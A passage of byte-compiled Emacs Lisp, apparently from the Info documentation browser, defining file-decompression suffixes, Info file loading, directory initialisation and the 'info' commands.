. "unyabba") (".info.gz" . "gunzip") (".info.z" . "gunzip") (".info.bz2" "bzip2" "-dc") (".info.xz" . "unxz") (".info") ("-info.Z" . "uncompress") ("-info.Y" . "unyabba") ("-info.gz" . "gunzip") ("-info.bz2" "bzip2" "-dc") ("-info.z" . "gunzip") ("-info.xz" . "unxz") ("-info") ("/index.Z" . "uncompress") ("/index.Y" . "unyabba") ("/index.gz" . "gunzip") ("/index.z" . "gunzip") ("/index.bz2" "bzip2" "-dc") ("/index.xz" . "unxz") ("/index") (".Z" . "uncompress") (".Y" . "unyabba") (".gz" . "gunzip") (".z" . "gunzip") (".bz2" "bzip2" "-dc") (".xz" . "unxz") (#1#))] 2) (#$ . 17914)) #@28 (fn FILENAME SUFFIX LFN) (defalias 'info-insert-file-contents-1 #[771 "\211\203 P\207\300!\301\302GG\303#]\304\301X\203% \211GSH\305=\2032 G\301U\2042 \306\303\"\262\301\307GZ]^\262\306\301GZZ#P\207" [file-name-sans-extension 0 - 1 nil 46 substring 3] 12 (#$ . 19336)]) #@17 (fn FILENAME) (defalias 'info-file-exists-p #[257 "\300!\205\n \301!?\207" [file-exists-p file-directory-p] 3 (#$ . 19636)]) #@153 Insert the contents of an Info file in the current buffer. Do the right thing if the file has been compressed or zipped. (fn FILENAME &optional VISIT) (defalias 'info-insert-file-contents #[513 "\306\307\310!\203 \310 \202 \311\307\310!\205 \211\306\211\211\312!\203F \203: \313\314@@!\315P \"\204: A\262\202 \262@A\262\202\231 \203\217 \211\204\217 \316@@#\262\312!\203k \311\262@A\262\202\210 \203\210 \316@@\306#\262\312!\203\210 \311\262@A\262A\262\202F \204\231 \317\320 \"\210\321 \203\247 \322!\203\247 \306\262\203\334 \323\"\210\311\324\311\325!\206\274 \n:\204\311 C\262\326\327ed@\311\211\306 A&\210,\202\345 \311\330\"\210)\331\"A\211\205\365 \211\3328\262;\205\375 \333!\211\205\211\3328\262\2038\211\2038\334\"\2038\335\331\206 \" \" \335\331\2060 !\"!\"!B\335\331 \"\"B\211\266\204)\207" [Info-suffix-list jka-compr-verbose default-directory inhibit-nul-byte-detection coding-system-for-write inhibit-read-only nil fboundp msdos-long-file-names t info-file-exists-p string-match regexp-quote "$" info-insert-file-contents-1 error "Can't find %s or any compressed version of it" jka-compr-installed-p jka-compr-get-compression-info insert-file-contents-literally no-conversion file-name-directory apply call-process-region insert-file-contents assoc 5 file-attributes time-less-p remove Info-file-attributes Info-current-file Info-index-nodes Info-toc-nodes] 17 (#$ . 19772)]) #@318 Return non-nil value if FILE supports Info index cookies. Info index cookies were first introduced in 4.7, and all later makeinfo versions output them in index nodes, so we can rely solely on the makeinfo version. This function caches the information in `Info-file-supports-index-cookies-list'. (fn &optional FILE) (defalias 'Info-file-supports-index-cookies #[256 "\211\204 \262\302 \"\204U \211;\203 \303!\203# \211\304B B\211\204U \212\304eb\210\3051H \306\307\310\311!\312#\205D \313\314\315!\316\"?\205D \312\211\2620\202L \210\202M \210B B\210)\302 \"A\207" [Info-current-file Info-file-supports-index-cookies-list assoc Info-virtual-file-p nil (error) re-search-forward "makeinfo[ \n]version[ \n]\\([0-9]+.[0-9]+\\)" line-beginning-position 4 t version< match-string 1 "4.7"] 6 (#$ . 21281)]) (defalias 'Info-default-dirs #[0 "\306\307\" \203 \306\307 \"\2020 \n\2050 \306\310\n\"\311!\203! \211\202. \306\312\n\"\262\311!\205. \211\262\313\203? \311!\203? \202@ \262\211\235\204] \f\314>\204W \306\315 \"\230\203] \311!\204a \202d \211B\207" [source-directory installation-directory invocation-directory Info-default-directory-list system-type exec-directory expand-file-name "info/" "../share/info/" file-exists-p "../../../share/info/" nil (ms-dos windows-nt) "lib-src/"] 7]) #@65 Initialize `Info-directory-list', if that hasn't been done yet. (defalias 'info-initialize #[0 "?\205d \304\305!\306 !\307\2038 \310P\311\312\313#)\266\203\2031 \314\315\316\317\320#\"\321 \"\202: \315\"\202: \321 !\205b \322\323!\205b \324\325\"\326!\205` \211\315\327\312#\235?\205` \211B\211\262\266\202\207" [Info-directory-list path-separator inhibit-changing-match-data data-directory getenv "INFOPATH" regexp-quote prune-directory-list "\\'" nil t string-match append split-string substring 0 -1 Info-default-dirs featurep ns expand-file-name "../info" file-directory-p ":"] 10 (#$ . 22603)]) #@93 Like `info' but show the Info buffer in another window. (fn &optional FILE-OR-NODE BUFFER) (defalias 'info-other-window #[512 "\300\301\206 \302!\"\207" [info-setup switch-to-buffer-other-window "*info*"] 6 (#$ . 23229) (byte-code "\205 \247?\205 \301\302\303\211\304$\247\205 \305\306\"D\207" [current-prefix-arg read-file-name "Info file name: " nil t format "*info*<%s>"] 5)]) #@911 Enter Info, the documentation browser. Optional argument FILE-OR-NODE specifies the file to examine; the default is the top-level directory of Info. Called from a program, FILE-OR-NODE may specify an Info node of the form "(FILENAME)NODENAME". Optional argument BUFFER specifies the Info buffer name; the default buffer name is *info*. If BUFFER exists, just switch to BUFFER. Otherwise, create a new buffer with the top-level Info directory. In interactive use, a non-numeric prefix argument directs this command to read a file name from the minibuffer. A numeric prefix argument of N selects an Info buffer named "*info*<N>". The search path for Info files is in the variable `Info-directory-list'. The top-level Info directory is made by combining all the files named `dir' in all the directories in that path. See a list of available Info commands in `Info-mode'. (fn &optional FILE-OR-NODE BUFFER) (defalias 'info #[512 "\300\301\206 \302!\"\207" [info-setup pop-to-buffer-same-window "*info*"] 6 (#$ . 23627) (byte-code "\205 \247?\205 \301\302\303\211\304$\247\205 \305\306\"D\207" [current-prefix-arg read-file-name "Info file name: " nil t format "*info*<%s>"] 5)]) #@69 Display Info node FILE-OR-NODE in BUFFER. (fn FILE-OR-NODE BUFFER) (defalias 'info-setup #[514 "\211\203 \301\302!\204 \302 \210\203( \303;\203\"